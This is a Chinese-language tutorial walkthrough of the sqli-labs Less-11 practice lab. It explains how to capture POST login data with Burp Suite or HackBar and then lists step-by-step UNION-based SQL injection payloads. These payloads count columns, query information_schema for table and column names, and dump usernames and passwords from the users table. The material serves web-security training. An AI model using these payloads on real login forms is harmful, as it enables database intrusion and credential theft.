sqli-labs (less-11)

sqli-labs (less-11)

补充知识

从第11关开始我们发现跟以前的页面已经完全不一样了,这里要我们输入用户名和密码

假设我们现在注册了一个账号,账号为admin,密码为admin,我们登入进去看看

登入进去之后我们发现屏幕上回显了我们输入的账号和密码,但是url那里却没有返回我们输入的账号和密码,因为前面的关卡我们输入的内容都是以GET方式传输到了服务端,而这里我们输入的账号密码是以POST的方法传输到了服务端

GET请求和POST请求的区别
GET请求:
GET方法用于获取请求页面的指定信息(以实体的格式)。如果请求资源为动态脚本(非HTML),那么返回文本是Web容器解析后的HTML源代码,而不是源文件。
POST请求:
POST方法也与GET方法相似,但最大的区别在于,GET方法没有请求内容,而POST是有请求内容的。POST请求最多用于向服务器发送大量的数据。GET虽然也能发送数据,但是有大小(长度)的限制,并且GET请求会将发送的数据显示在浏览器端,而POST则不会,所以安全性相对来说高一点

所以这里我们的目的就是要抓到以POST请求上传的内容,这里介绍两种方法

使用burpsuite抓包

我们先将账号密码输入到屏幕上,开启burpsuite后点击submit进行抓包

上面红框里面的内容就是我们以POST方式传输上去的内容

使用firefox扩展工具hackbar


我们输入账号密码登入进去以后,先点击Load url,再点击Post data,就可以查看到以POST方式传输上去的内容了


下面我们正式进入less-11

less-11

我们利用hackbar抓到POST包后,像前面的关卡一样我们先在admin的位置试试有没有SQL注入漏洞
我们发现当我们在Post data的位置输入

uname=admin'&passwd=admin&submit=Submit

时,系统报错,证明有SQL注入漏洞,并且为字符型注入

判断字段长度

输入uname=ad' order by 2#&passwd=admin&submit=Submit #回显正常
uname=ad' order by 3#&passwd=admin&submit=Submit #回显错误



判断字段数为2

确定回显位置

uname=ad' union select 1,2#&passwd=admin&submit=Submit


查看当前数据库及当前用户

uname=ad' union select user(),database()#&passwd=admin&submit=Submit


查看security库下的所有表

uname=ad' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#&passwd=admin&submit=Submit


查看users表下的所有字段

uname=ad' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=admin&submit=Submit


查看username和password字段的值

uname=ad' union select 1,(select group_concat(username,password) from security.users)#&passwd=admin&submit=Submit

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

super 硕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值